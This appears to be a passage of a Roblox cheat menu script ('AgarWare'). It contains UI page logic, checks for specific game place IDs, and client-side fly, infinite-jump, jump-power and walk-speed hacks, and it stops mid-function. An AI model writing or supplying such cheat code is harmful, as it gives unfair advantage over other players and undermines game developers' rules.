	local ACTIVE_TEXT_COLOR = Color3.fromRGB(0, 123, 255)
	local INACTIVE_TEXT_COLOR = Color3.fromRGB(255, 255, 255)
	
	local tcoPageNames = {}
	for _, config in tcoPageConfig do
		tcoPageNames[config.pageName] = true
	end
	
	local currentPage  = nil
	local activeButton = nil
	local activeTCOButton = nil
	
	local function setTCOSideBarVisible(visible)
		TCOSideBar.Visible = visible
	end
	
	local function switchTCOPage(buttonName, pageName)
		for _, config in tcoPageConfig do
			local page = ContentArea:FindFirstChild(config.pageName)
			if page then page.Visible = false end
		end
		
		for _, config in tcoPageConfig do
			local button = TCOSideBar:FindFirstChild(config.buttonName)
			if button and button:IsA("TextButton") then
				button.BackgroundColor3 = INACTIVE_COLOR
				button.TextColor3 = INACTIVE_TEXT_COLOR -- ✅
			end
		end
	
		local selectedPage = ContentArea:FindFirstChild(pageName)
		if selectedPage then
			selectedPage.Visible = true
			currentPage = pageName
		else
			warn("TCO Page not found: " .. pageName)
		end
	
		local selectedButton = TCOSideBar:FindFirstChild(buttonName)
		if selectedButton and selectedButton:IsA("TextButton") then
			selectedButton.BackgroundColor3 = ACTIVE_COLOR
			selectedButton.TextColor3 = ACTIVE_TEXT_COLOR -- ✅
			activeTCOButton = buttonName
		end
	end
	
	local function switchPage(buttonName, pageName)
		local isTCOPage = tcoPageNames[pageName]
	
		for _, config in pageConfig do
			if not tcoPageNames[config.pageName] then
				local page = ContentArea:FindFirstChild(config.pageName)
				if page then page.Visible = false end
			end
		end
	
		if not isTCOPage then
			for _, config in tcoPageConfig do
				local page = ContentArea:FindFirstChild(config.pageName)
				if page then page.Visible = false end
			end
		end
	
		for _, config in pageConfig do
			local button = SideBar:FindFirstChild(config.buttonName)
			if button and button:IsA("TextButton") then
				button.BackgroundColor3 = INACTIVE_COLOR
				button.TextColor3 = INACTIVE_TEXT_COLOR -- ✅
			end
		end
	
		setTCOSideBarVisible(isTCOPage)
	
		if isTCOPage then
			switchTCOPage(activeTCOButton or "MainTCOPG", activeTCOButton and 
				(function()
					for _, c in tcoPageConfig do
						if c.buttonName == activeTCOButton then return c.pageName end
					end
				end)() or "TCOMainPage")
		else
			local selectedPage = ContentArea:FindFirstChild(pageName)
			if selectedPage then
				selectedPage.Visible = true
				currentPage = pageName
			else
				warn("Page not found: " .. pageName)
			end
		end
	
		local selectedButton = SideBar:FindFirstChild(buttonName)
		if selectedButton and selectedButton:IsA("TextButton") then
			selectedButton.BackgroundColor3 = ACTIVE_COLOR
			selectedButton.TextColor3 = ACTIVE_TEXT_COLOR -- ✅
			activeButton = buttonName
		end
	end
	
	for _, config in pageConfig do
		local button = SideBar:FindFirstChild(config.buttonName)
		if button and button:IsA("TextButton") then
			button.MouseButton1Click:Connect(function()
				switchPage(config.buttonName, config.pageName)
			end)
		else
			warn("Button not found: " .. config.buttonName)
		end
	end
	
	for _, config in tcoPageConfig do
		local button = TCOSideBar:FindFirstChild(config.buttonName)
		if button and button:IsA("TextButton") then
			button.MouseButton1Click:Connect(function()
				switchTCOPage(config.buttonName, config.pageName)
			end)
		else
			warn("TCO Button not found: " .. config.buttonName)
		end
	end
	
	setTCOSideBarVisible(false)
	task.wait(0.05)
	switchPage("MenuPG", "MenuPage")
	
	print("AGAR WARE LOADED")
end;
task.spawn(C_c);
-- StarterGui.AgarWareGui.MainFrame.SideBar.TCOPG.TCOIngame
local function C_13()
local script = G2L["13"];
	local TCOPG = script.Parent -- if script is inside TCOPG
	-- or find it:
	-- local TCOPG = game.Players.LocalPlayer.PlayerGui.ScreenGui.MainFrame.SideBar.TCOPG
	
	local TCO_PLACE_IDS = {
		11137575513,
		12943245078,
		12943247001,
		108097274488844,
	}
	
	local isTCO = false
	for _, id in ipairs(TCO_PLACE_IDS) do
		if game.PlaceId == id then
			isTCO = true
			break
		end
	end
	
	if not isTCO then
		TCOPG.Text = "TCO (not ingame)"
	end
end;
task.spawn(C_13);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.MovementScript
local function C_1c()
local script = G2L["1c"];
	-- ============================================================
	-- MOVEMENT GROUP MASTER SCRIPT
	-- Place this script directly under MovementGroup
	-- Handles: Minimize, Fly, InfJump, Jumppower, ShiftLock, Walkspeed
	-- ============================================================
	
	local Players = game:GetService("Players")
	local RunService = game:GetService("RunService")
	local UserInputService = game:GetService("UserInputService")
	local ContextActionService = game:GetService("ContextActionService")
	local LocalPlayer = Players.LocalPlayer
	
	local MovementGroup = script.Parent
	local MovementMinimize = MovementGroup.MovementTitle.MovementMinimize
	local MovementAccentColor = MovementGroup:FindFirstChild("MovementAccentColor")
	
	-- ============================================================
	-- SCREENGUI HELPER
	-- ============================================================
	local function getScreenGui()
		local p = MovementGroup
		while p do
			if p:IsA("ScreenGui") then return p end
			p = p.Parent
		end
		return game:GetService("CoreGui")
	end
	
	-- ============================================================
	-- TOOLTIP CREATOR
	-- ============================================================
	local function createTooltip(name, text, parent)
		local frame = Instance.new("Frame")
		frame.Name = name
		frame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
		frame.BorderSizePixel = 0
		frame.ZIndex = 100
		frame.AutomaticSize = Enum.AutomaticSize.Y
		frame.Size = UDim2.new(0, 212, 0, 0)
		frame.Visible = false
		frame.Parent = getScreenGui()
	
		local stroke = Instance.new("UIStroke")
		stroke.Color = Color3.fromRGB(57, 57, 57)
		stroke.Thickness = 1
		stroke.Parent = frame
	
		local padding = Instance.new("UIPadding")
		padding.PaddingTop = UDim.new(0, 6)
		padding.PaddingBottom = UDim.new(0, 6)
		padding.PaddingLeft = UDim.new(0, 6)
		padding.PaddingRight = UDim.new(0, 6)
		padding.Parent = frame
	
		local label = Instance.new("TextLabel")
		label.BackgroundTransparency = 1
		label.Text = text
		label.TextColor3 = Color3.new(1, 1, 1)
		label.TextSize = 14
		label.TextXAlignment = Enum.TextXAlignment.Left
		label.TextYAlignment = Enum.TextYAlignment.Top
		label.Font = Enum.Font.GothamSemibold
		label.TextWrapped = true
		label.Size = UDim2.new(0, 200, 0, 0)
		label.AutomaticSize = Enum.AutomaticSize.Y
		label.ZIndex = 101
		label.Parent = frame
	
		if parent then
			parent.MouseEnter:Connect(function()
				local abs = parent.AbsolutePosition
				local size = parent.AbsoluteSize
				frame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
				frame.Visible = true
			end)
	
			parent.MouseLeave:Connect(function()
				frame.Visible = false
			end)
		end
	
		return frame
	end
	
	-- ============================================================
	-- MINIMIZE FUNCTIONALITY
	-- ============================================================
	local function getRows()
		local rows = {}
		for _, child in ipairs(MovementGroup:GetChildren()) do
			if child:IsA("Frame") and string.find(child.Name, "Row") then
				table.insert(rows, child)
			end
		end
		return rows
	end
	
	local isMinimized = false
	local originalSize = MovementGroup.Size
	local minimizedSize = UDim2.new(0, 170, 0, 20)
	
	MovementMinimize.MouseButton1Click:Connect(function()
		isMinimized = not isMinimized
		local rows = getRows()
	
		if isMinimized then
			MovementGroup.Size = minimizedSize
			for _, row in ipairs(rows) do
				row.Visible = false
			end
			MovementMinimize.Text = "+"
		else
			MovementGroup.Size = originalSize
			for _, row in ipairs(rows) do
				row.Visible = true
			end
			MovementMinimize.Text = "-"
		end
	end)
	
	-- ============================================================
	-- TICKBOX FEATURE SETUP
	-- ============================================================
	local activeFeatures = {}
	
	local function setupTickBox(config)
		local rowName = config.row
		local tickBoxName = config.tickBox
		local tooltipText = config.tooltip
		local onEnable = config.onEnable
		local onDisable = config.onDisable
		local loop = config.loop
	
		local row = MovementGroup:FindFirstChild(rowName)
		if not row then 
			warn("[MovementGroup] Row not found:", rowName)
			return 
		end
	
		local tickBox = row:FindFirstChild(tickBoxName)
		if not tickBox then 
			warn("[MovementGroup] TickBox not found:", tickBoxName)
			return 
		end
	
		local isEnabled = false
		local loopConnection = nil
		tickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	
		-- Create tooltip
		local tooltip = createTooltip(tickBoxName .. "Tooltip", tooltipText, tickBox)
	
		-- Enable function
		local function enable()
			isEnabled = true
	
			if MovementAccentColor then
				tickBox.BackgroundColor3 = MovementAccentColor.BackgroundColor3
			else
				tickBox.BackgroundColor3 = Color3.fromRGB(0, 123, 255)
			end
	
			if onEnable then
				pcall(onEnable)
			end
	
			if loop then
				loopConnection = RunService.Heartbeat:Connect(function()
					if isEnabled then
						pcall(loop)
					end
				end)
			end
		end
	
		-- Disable function
		local function disable()
			isEnabled = false
			tickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	
			if loopConnection then
				loopConnection:Disconnect()
				loopConnection = nil
			end
	
			if onDisable then
				pcall(onDisable)
			end
		end
	
		-- Click handler
		tickBox.MouseButton1Click:Connect(function()
			if isEnabled then
				disable()
			else
				enable()
			end
		end)
	
		-- Store for cleanup
		table.insert(activeFeatures, {
			tooltip = tooltip,
			disable = disable,
			connection = loopConnection
		})
	
		return {
			enable = enable,
			disable = disable,
			isEnabled = function() return isEnabled end
		}
	end
	
	-- ============================================================
	-- FEATURES START HERE
	-- ============================================================
	
	-- FLY
	local FlyRow = MovementGroup:FindFirstChild("FlyRow")
	if FlyRow then
		local FlySpeedChanger = FlyRow:FindFirstChild("FlySpeedChanger")
		if FlySpeedChanger then FlySpeedChanger.Text = "(50)" end
	
		local flySpeed = 50
		local nowe = false
		local tpwalking = false
		local ctrl = {f=0, b=0, l=0, r=0}
		local lastctrl = {f=0, b=0, l=0, r=0}
	
		setupTickBox({
			row = "FlyRow",
			tickBox = "FlyTickBox",
			tooltip = "Allows your character to fly. E = up, Q = down",
			onEnable = function()
				local chr = LocalPlayer.Character
				if not chr then return end
				local hum = chr:FindFirstChildOfClass("Humanoid")
				if not hum then return end
	
				nowe = true
				tpwalking = true
	
				for _, state in pairs(Enum.HumanoidStateType:GetEnumItems()) do
					pcall(function() hum:SetStateEnabled(state, false) end)
				end
				hum:ChangeState(Enum.HumanoidStateType.Swimming)
				hum.PlatformStand = true
	
				chr.Animate.Disabled = true
				task.wait()
				for _, track in pairs(hum:GetPlayingAnimationTracks()) do
					track:Stop(0)
				end
	
				spawn(function()
					local hb = RunService.Heartbeat
					while tpwalking and nowe do
						hb:Wait()
						chr = LocalPlayer.Character
						hum = chr and chr:FindFirstChildOfClass("Humanoid")
						if chr and hum and hum.Parent then
							if hum.MoveDirection.Magnitude > 0 then
								chr:TranslateBy(hum.MoveDirection * flySpeed / 50)
							end
						end
					end
				end)
	
				local isR6 = hum.RigType == Enum.HumanoidRigType.R6
				local torso = isR6 and chr:FindFirstChild("Torso") or chr:FindFirstChild("UpperTorso")
				if not torso then return end
	
				local bg = Instance.new("BodyGyro")
				bg.P = 9e4
				bg.MaxTorque = Vector3.new(9e9, 9e9, 9e9)
				bg.CFrame = torso.CFrame
				bg.Parent = torso
	
				local bv = Instance.new("BodyVelocity")
				bv.Velocity = Vector3.new(0, 0.1, 0)
				bv.MaxForce = Vector3.new(9e9, 9e9, 9e9)
				bv.Parent = torso
	
				local speed = 0
	
				spawn(function()
					while nowe do
						RunService.RenderStepped:Wait()
						local maxspeed = flySpeed
						local camCF = workspace.CurrentCamera.CFrame
	
						ctrl.f = UserInputService:IsKeyDown(Enum.KeyCode.W) and 1 or 0
						ctrl.b = UserInputService:IsKeyDown(Enum.KeyCode.S) and -1 or 0
						ctrl.l = UserInputService:IsKeyDown(Enum.KeyCode.A) and -1 or 0
						ctrl.r = UserInputService:IsKeyDown(Enum.KeyCode.D) and 1 or 0
	
						if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
							speed = math.min(speed + 0.5 + speed/maxspeed, maxspeed)
						elseif speed ~= 0 then
							speed = math.max(speed - 1, 0)
						end
	
						local flatLook = Vector3.new(camCF.LookVector.X, 0, camCF.LookVector.Z).Unit
						local flatRight = Vector3.new(camCF.RightVector.X, 0, camCF.RightVector.Z).Unit
	
						if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
							bv.Velocity = (flatLook * (ctrl.f+ctrl.b) + flatRight * (ctrl.l+ctrl.r)) * speed
							lastctrl = {f=ctrl.f, b=ctrl.b, l=ctrl.l, r=ctrl.r}
						elseif speed ~= 0 then
							bv.Velocity = (flatLook * (lastctrl.f+lastctrl.b) + flatRight * (lastctrl.l+lastctrl.r)) * speed
						else
							bv.Velocity = Vector3.new(0, 0, 0)
						end
	
						bg.CFrame = camCF
	
						if UserInputService:IsKeyDown(Enum.KeyCode.E) then
							torso.CFrame = torso.CFrame + Vector3.new(0, 1, 0)
						elseif UserInputService:IsKeyDown(Enum.KeyCode.Q) then
							torso.CFrame = torso.CFrame + Vector3.new(0, -1, 0)
						end
					end
	
					bg:Destroy()
					bv:Destroy()
				end)
			end,
			onDisable = function()
				nowe = false
				tpwalking = false
	
				local chr = LocalPlayer.Character
				if not chr then return end
				local hum = chr:FindFirstChildOfClass("Humanoid")
				if not hum then return end
	
				for _, state in pairs(Enum.HumanoidStateType:GetEnumItems()) do
					pcall(function() hum:SetStateEnabled(state, true) end)
				end
				hum:ChangeState(Enum.HumanoidStateType.RunningNoPhysics)
				hum.PlatformStand = false
				chr.Animate.Disabled = false
			end
		})
	
		if FlySpeedChanger then
			FlySpeedChanger.FocusLost:Connect(function()
				local num = tonumber(FlySpeedChanger.Text)
				if num and num > 0 then
					flySpeed = num
					FlySpeedChanger.Text = tostring(num)
				else
					FlySpeedChanger.Text = tostring(flySpeed)
				end
			end)
		end
	end
	
	-- INF JUMP
	local infJumpConn = nil
	
	setupTickBox({
		row = "InfJumpRow",
		tickBox = "InfJumpTickBox",
		tooltip = "Allows your character to jump infinitely",
		onEnable = function()
			infJumpConn = UserInputService.JumpRequest:Connect(function()
				local character = LocalPlayer.Character
				if not character then return end
				local humanoid = character:FindFirstChildOfClass("Humanoid")
				if humanoid then
					humanoid:ChangeState(Enum.HumanoidStateType.Jumping)
				end
			end)
		end,
		onDisable = function()
			if infJumpConn then
				infJumpConn:Disconnect()
				infJumpConn = nil
			end
		end
	})
	
	-- JUMPPOWER
	local JumppowerRow = MovementGroup:FindFirstChild("JumppowerRow")
	if JumppowerRow then
		local JumppowerJumpChanger = JumppowerRow:FindFirstChild("JumppowerJumpChanger")
		if JumppowerJumpChanger then JumppowerJumpChanger.Text = "(50)" end
	
		local jumpPower = 50
		local isInfinite = false
	
		local function updateJumppower()
			local character = LocalPlayer.Character
			if character then
				local humanoid = character:FindFirstChildOfClass("Humanoid")
				if humanoid then
					humanoid.UseJumpPower = true
					humanoid.JumpPower = isInfinite and math.huge or jumpPower
				end
			end
		end
	
		setupTickBox({
			row = "JumppowerRow",
			tickBox = "JumppowerTickBox",
			tooltip = "Changes your character jump power",
			onEnable = function()
				updateJumppower()
			end,
			onDisable = function()
				local character = LocalPlayer.Character
				if character then
					local humanoid = character:FindFirstChildOfClass("Humanoid")
					if humanoid then
						humanoid.UseJumpPower = true
						humanoid.JumpPower = 50
					end
				end
			end
		})
	
		if JumppowerJumpChanger then
			JumppowerJumpChanger.FocusLost:Connect(function()
				local text = string.lower(JumppowerJumpChanger.Text)
				if text == "inf" then
					isInfinite = true
					jumpPower = math.huge
					JumppowerJumpChanger.Text = "inf"
				else
					local num = tonumber(text)
					if num then
						isInfinite = false
						jumpPower = num
						JumppowerJumpChanger.Text = tostring(num)
					else
						JumppowerJumpChanger.Text = isInfinite and "inf" or tostring(jumpPower)
					end
				end
				updateJumppower()
			end)
		end
	
		LocalPlayer.CharacterAdded:Connect(function(character)
			local humanoid = character:WaitForChild("Humanoid")
			humanoid.UseJumpPower = true
			humanoid.JumpPower = isInfinite and math.huge or jumpPower
		end)
	end
	
	-- WALKSPEED
	local WalkspeedRow = MovementGroup:FindFirstChild("WalkspeedRow")
	if WalkspeedRow then
		local WalkspeedSpeedChanger = WalkspeedRow:FindFirstChild("WalkspeedSpeedChanger")
		if WalkspeedSpeedChanger then WalkspeedSpeedChanger.Text = "(16)" end
	
		local walkSpeed = 16
		local isInfinite = false
	
		local function updateWalkspeed()
			local character = LocalPlayer.Character
			if character then
				local humanoid = character:FindFirstChildOfClass("Humanoid")
				if humanoid then
					humanoid.WalkSpeed = isInfinite and math.huge or walkSpeed
				end
			end
		end
	
		setupTickBox({
			row = "WalkspeedRow",
			tickBox = "WalkspeedTickBox",
			tooltip = "Changes your character walk speed",
			onEnable = function()
				updateWalkspeed()
			end,
			onDisable = function()
				local character = LocalPlayer.Character
				if character then
					local humanoid = character:FindFirstChildOfClass("Humanoid")
					if humanoid then
						humanoid.WalkSpeed = 16
					end
				end
			end
		})
	
		if WalkspeedSpeedChanger then
			WalkspeedSpeedChanger.FocusLost:Connect(function()
				local text = string.lower(WalkspeedSpeedChanger.Text)
				if text == "inf" then
					isInfinite = true
					walkSpeed = math.huge
					WalkspeedSpeedChanger.Text = "inf"
				else
					local num = tonumber(text)
					if num then
						isInfinite = false
						walkSpeed = num
						WalkspeedSpeedChanger.Text = tostring(num)
					else
						WalkspeedSpeedChanger.Text = isInfinite and "inf" or tostring(walkSpeed)
					end
				end
				updateWalkspeed()
			end)
		end
	
		LocalPlayer.CharacterAdded:Connect(function(character)
			local humanoid = character:WaitForChild("Humanoid")
			humanoid.WalkSpeed = isInfinite and math.huge or walkSpeed
		end)
	end
	
	-- ============================================================
	-- ADD NEW FEATURES HERE - USE THIS TEMPLATE:
	-- ============================================================
	
	--[[
	setupTickBox({
		row = "YourRow",
		tickBox = "YourTickBox",
		tooltip = "What this feature does",
		onEnable = function()
			-- Runs once when enabled
		end,
		onDisable = function()
			-- Runs once when disabled
		end,
		loop = function()
			-- Runs every frame while enabled
		end
	})
	]]
	
	-- ============================================================
	-- CLEANUP
	-- ============================================================
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			for _, feature in pairs(activeFeatures) do
				if feature.tooltip then
					feature.tooltip:Destroy()
				end
				if feature.disable then
					feature.disable()
				end
			end
		end
	end)
end;
task.spawn(C_1c);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.ShiftLockRow.ShiftLockScript
local function C_31()
local script = G2L["31"];
	local Players = game:GetService("Players")
	local UserInputService = game:GetService("UserInputService")
	local RunService = game:GetService("RunService")
	local ContextActionService = game:GetService("ContextActionService")
	
	local LocalPlayer = Players.LocalPlayer
	
	local ShiftLockRow = script.Parent
	local ShiftLockTickBox = ShiftLockRow.ShiftLockTickBox
	local MovementGroup = ShiftLockRow.Parent
	local MovementAccentColor = MovementGroup.MovementAccentColor
	
	local isEnabled = false
	local active = nil
	local lastPressTime = 0
	local debounceTime = 0.2
	
	local function getAccent()
		return MovementAccentColor.BackgroundColor3
	end
	
	local function getScreenGui()
		local parent = ShiftLockRow
		while parent do
			if parent:IsA("ScreenGui") then return parent end
			parent = parent.Parent
		end
	end
	
	-- Tooltip
	local tooltipFrame = Instance.new("Frame")
	tooltipFrame.Name = "ShiftLockTooltip"
	tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
	tooltipFrame.BorderSizePixel = 0
	tooltipFrame.ZIndex = 100
	tooltipFrame.AutomaticSize = Enum.AutomaticSize.XY
	tooltipFrame.Visible = false
	tooltipFrame.Parent = getScreenGui()
	
	local tooltipStroke = Instance.new("UIStroke")
	tooltipStroke.Color = Color3.fromRGB(57, 57, 57)
	tooltipStroke.Thickness = 1
	tooltipStroke.Parent = tooltipFrame
	
	local tooltipPadding = Instance.new("UIPadding")
	tooltipPadding.PaddingTop = UDim.new(0, 6)
	tooltipPadding.PaddingBottom = UDim.new(0, 6)
	tooltipPadding.PaddingLeft = UDim.new(0, 6)
	tooltipPadding.PaddingRight = UDim.new(0, 6)
	tooltipPadding.Parent = tooltipFrame
	
	local tooltipLabel = Instance.new("TextLabel")
	tooltipLabel.Name = "TooltipText"
	tooltipLabel.BackgroundTransparency = 1
	tooltipLabel.Text = "Adds a shiftlock button to your screen on mobile"
	tooltipLabel.TextColor3 = Color3.new(1, 1, 1)
	tooltipLabel.TextSize = 14
	tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left
	tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top
	tooltipLabel.Font = Enum.Font.GothamSemibold
	tooltipLabel.TextWrapped = true
	tooltipLabel.AutomaticSize = Enum.AutomaticSize.XY
	tooltipLabel.Size = UDim2.new(0, 200, 0, 0)
	tooltipLabel.ZIndex = 101
	tooltipLabel.Parent = tooltipFrame
	
	ShiftLockTickBox.MouseEnter:Connect(function()
		local abs = ShiftLockTickBox.AbsolutePosition
		local size = ShiftLockTickBox.AbsoluteSize
		tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
		tooltipFrame.Visible = true
	end)
	ShiftLockTickBox.MouseLeave:Connect(function()
		tooltipFrame.Visible = false
	end)
	
	-- ShiftLock UI
	local shiftLockGui = nil
	local imageButton = nil
	
	local states = {
		OFF = "rbxasset://textures/ui/mouseLock_off@2x.png",
		ON = "rbxasset://textures/ui/mouseLock_on@2x.png"
	}
	
	local MAX_LENGTH = 900000
	local ENABLED_OFFSET = CFrame.new(1.7, 0, 0)
	local DISABLED_OFFSET = CFrame.new(-1.7, 0, 0)
	
	local function getCharacterParts()
		local character = LocalPlayer.Character
		if not character then return nil, nil, nil end
		local humanoid = character:FindFirstChildOfClass("Humanoid")
		local hrp = character:FindFirstChild("HumanoidRootPart")
		local camera = workspace.CurrentCamera
		return humanoid, hrp, camera
	end
	
	local function updateImage(state)
		if imageButton then
			imageButton.Image = states[state]
		end
	end
	
	local function disableShiftlock()
		local humanoid, hrp, camera = getCharacterParts()
		if humanoid then humanoid.AutoRotate = true end
		if camera then camera.CFrame = camera.CFrame * DISABLED_OFFSET end
		updateImage("OFF")
		if active then
			active:Disconnect()
			active = nil
		end
	end
	
	local function enableShiftlock()
		local humanoid, hrp, camera = getCharacterParts()
		if not humanoid or not hrp or not camera then return end
		humanoid.AutoRotate = false
		hrp.CFrame = CFrame.new(hrp.Position, Vector3.new(
			camera.CFrame.LookVector.X * MAX_LENGTH,
			hrp.Position.Y,
			camera.CFrame.LookVector.Z * MAX_LENGTH
			))
		camera.CFrame = camera.CFrame * ENABLED_OFFSET
		updateImage("ON")
	end
	
	local function shiftLockToggle()
		local currentTime = tick()
		if currentTime - lastPressTime < debounceTime then return end
		lastPressTime = currentTime
	
		if not active then
			active = RunService.RenderStepped:Connect(function()
				enableShiftlock()
			end)
		else
			disableShiftlock()
		end
	end
	
	local function createUI()
		-- Cleanup old UI
		if shiftLockGui then
			shiftLockGui:Destroy()
			shiftLockGui = nil
			imageButton = nil
		end
	
		local playerGui = LocalPlayer:WaitForChild("PlayerGui")
	
		shiftLockGui = Instance.new("ScreenGui")
		shiftLockGui.Name = "ShiftLockGui"
		shiftLockGui.ResetOnSpawn = false
		shiftLockGui.DisplayOrder = 999
		shiftLockGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
		shiftLockGui.Parent = playerGui
	
		imageButton = Instance.new("ImageButton")
		imageButton.BackgroundTransparency = 1
		imageButton.Position = UDim2.new(0.921914339, 0, 0.552375436, 0)
		imageButton.Size = UDim2.new(0.0636147112, 0, 0.0661305636, 0)
		imageButton.SizeConstraint = Enum.SizeConstraint.RelativeXX
		imageButton.Image = states.OFF
		imageButton.Modal = true
		imageButton.Active = true
		imageButton.Parent = shiftLockGui
	
		-- Draggable logic
		local dragging = false
		local dragStart = Vector2.new()
		local startPos = UDim2.new()
	
		imageButton.InputBegan:Connect(function(input)
			if input.UserInputType == Enum.UserInputType.Touch then
				dragging = true
				dragStart = input.Position
				startPos = imageButton.Position
			end
		end)
	
		imageButton.InputEnded:Connect(function(input)
			if input.UserInputType == Enum.UserInputType.Touch then
				dragging = false
			end
		end)
	
		RunService.RenderStepped:Connect(function()
			if dragging then
				local touchPos = UserInputService:GetTouchPosition()
				if not touchPos then return end
				local delta = touchPos - dragStart
				local newPos = UDim2.new(
					startPos.X.Scale, startPos.X.Offset + delta.X,
					startPos.Y.Scale, startPos.Y.Offset + delta.Y
				)
				imageButton.Position = newPos
			end
		end)
	
		imageButton.MouseButton1Click:Connect(function()
			shiftLockToggle()
		end)
	
		-- PC: bind shift key
		ContextActionService:BindAction("ShiftLockToggle", function(_, inputState)
			if inputState == Enum.UserInputState.Begin then
				shiftLockToggle()
			end
		end, false, Enum.KeyCode.LeftShift)
	end
	
	local function destroyUI()
		disableShiftlock()
		ContextActionService:UnbindAction("ShiftLockToggle")
		if shiftLockGui then
			shiftLockGui:Destroy()
			shiftLockGui = nil
			imageButton = nil
		end
	end
	
	ShiftLockTickBox.MouseButton1Click:Connect(function()
		isEnabled = not isEnabled
		ShiftLockTickBox.BackgroundColor3 = isEnabled and getAccent() or Color3.new(0, 0, 0)
		if isEnabled then
			createUI()
		else
			destroyUI()
		end
	end)
	
	LocalPlayer.CharacterAdded:Connect(function()
		if isEnabled then
			task.wait(0.5)
			createUI()
		end
	end)
	
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			destroyUI()
			tooltipFrame:Destroy()
		end
	end)
end;
task.spawn(C_31);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.MiscScript
local function C_35()
local script = G2L["35"];
	-- ============================================================
	-- MISC GROUP MASTER SCRIPT
	-- Place this script directly under MiscGroup
	-- Handles: Minimize, Boost FPS, Respawn Death, Rejoin Button, Gravity
	-- ============================================================
	
	local Players = game:GetService("Players")
	local RunService = game:GetService("RunService")
	local TeleportService = game:GetService("TeleportService")
	local Lighting = game:GetService("Lighting")
	local LocalPlayer = Players.LocalPlayer
	
	local MiscGroup = script.Parent
	local MiscMinimize = MiscGroup.MiscTitle.MiscMinimize
	local MiscAccentColor = MiscGroup:FindFirstChild("MiscAccentColor")
	
	-- ============================================================
	-- SCREENGUI HELPER
	-- ============================================================
	local function getScreenGui()
		local p = MiscGroup
		while p do
			if p:IsA("ScreenGui") then return p end
			p = p.Parent
		end
		return game:GetService("CoreGui")
	end
	
	-- ============================================================
	-- TOOLTIP CREATOR
	-- ============================================================
	local function createTooltip(name, text, parent)
		local frame = Instance.new("Frame")
		frame.Name = name
		frame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
		frame.BorderSizePixel = 0
		frame.ZIndex = 100
		frame.AutomaticSize = Enum.AutomaticSize.Y
		frame.Size = UDim2.new(0, 212, 0, 0)
		frame.Visible = false
		frame.Parent = getScreenGui()
	
		local stroke = Instance.new("UIStroke")
		stroke.Color = Color3.fromRGB(57, 57, 57)
		stroke.Thickness = 1
		stroke.Parent = frame
	
		local padding = Instance.new("UIPadding")
		padding.PaddingTop = UDim.new(0, 6)
		padding.PaddingBottom = UDim.new(0, 6)
		padding.PaddingLeft = UDim.new(0, 6)
		padding.PaddingRight = UDim.new(0, 6)
		padding.Parent = frame
	
		local label = Instance.new("TextLabel")
		label.BackgroundTransparency = 1
		label.Text = text
		label.TextColor3 = Color3.new(1, 1, 1)
		label.TextSize = 14
		label.TextXAlignment = Enum.TextXAlignment.Left
		label.TextYAlignment = Enum.TextYAlignment.Top
		label.Font = Enum.Font.GothamSemibold
		label.TextWrapped = true
		label.Size = UDim2.new(0, 200, 0, 0)
		label.AutomaticSize = Enum.AutomaticSize.Y
		label.ZIndex = 101
		label.Parent = frame
	
		if parent then
			parent.MouseEnter:Connect(function()
				local abs = parent.AbsolutePosition
				local size = parent.AbsoluteSize
				frame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
				frame.Visible = true
			end)
	
			parent.MouseLeave:Connect(function()
				frame.Visible = false
			end)
		end
	
		return frame
	end
	
	-- ============================================================
	-- MINIMIZE FUNCTIONALITY
	-- ============================================================
	local function getRows()
		local rows = {}
		for _, child in ipairs(MiscGroup:GetChildren()) do
			if child:IsA("Frame") and string.find(child.Name, "Row") then
				table.insert(rows, child)
			end
		end
		return rows
	end
	
	local isMinimized = false
	local originalSize = MiscGroup.Size
	local minimizedSize = UDim2.new(0, 170, 0, 20)
	
	MiscMinimize.MouseButton1Click:Connect(function()
		isMinimized = not isMinimized
		local rows = getRows()
	
		if isMinimized then
			MiscGroup.Size = minimizedSize
			for _, row in ipairs(rows) do
				row.Visible = false
			end
			MiscMinimize.Text = "+"
		else
			MiscGroup.Size = originalSize
			for _, row in ipairs(rows) do
				row.Visible = true
			end
			MiscMinimize.Text = "-"
		end
	end)
	
	-- ============================================================
	-- TICKBOX FEATURE SETUP
	-- ============================================================
	local activeFeatures = {}
	
	local function setupTickBox(config)
		local rowName = config.row
		local tickBoxName = config.tickBox
		local tooltipText = config.tooltip
		local onEnable = config.onEnable
		local onDisable = config.onDisable
		local loop = config.loop
	
		local row = MiscGroup:FindFirstChild(rowName)
		if not row then 
			warn("[MiscGroup] Row not found:", rowName)
			return 
		end
	
		local tickBox = row:FindFirstChild(tickBoxName)
		if not tickBox then 
			warn("[MiscGroup] TickBox not found:", tickBoxName)
			return 
		end
	
		local isEnabled = false
		local loopConnection = nil
		tickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	
		-- Create tooltip
		local tooltip = createTooltip(tickBoxName .. "Tooltip", tooltipText, tickBox)
	
		-- Enable function
		local function enable()
			isEnabled = true
	
			if MiscAccentColor then
				tickBox.BackgroundColor3 = MiscAccentColor.BackgroundColor3
			else
				tickBox.BackgroundColor3 = Color3.fromRGB(0, 123, 255)
			end
	
			if onEnable then
				pcall(onEnable)
			end
	
			if loop then
				loopConnection = RunService.Heartbeat:Connect(function()
					if isEnabled then
						pcall(loop)
					end
				end)
			end
		end
	
		-- Disable function
		local function disable()
			isEnabled = false
			tickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	
			if loopConnection then
				loopConnection:Disconnect()
				loopConnection = nil
			end
	
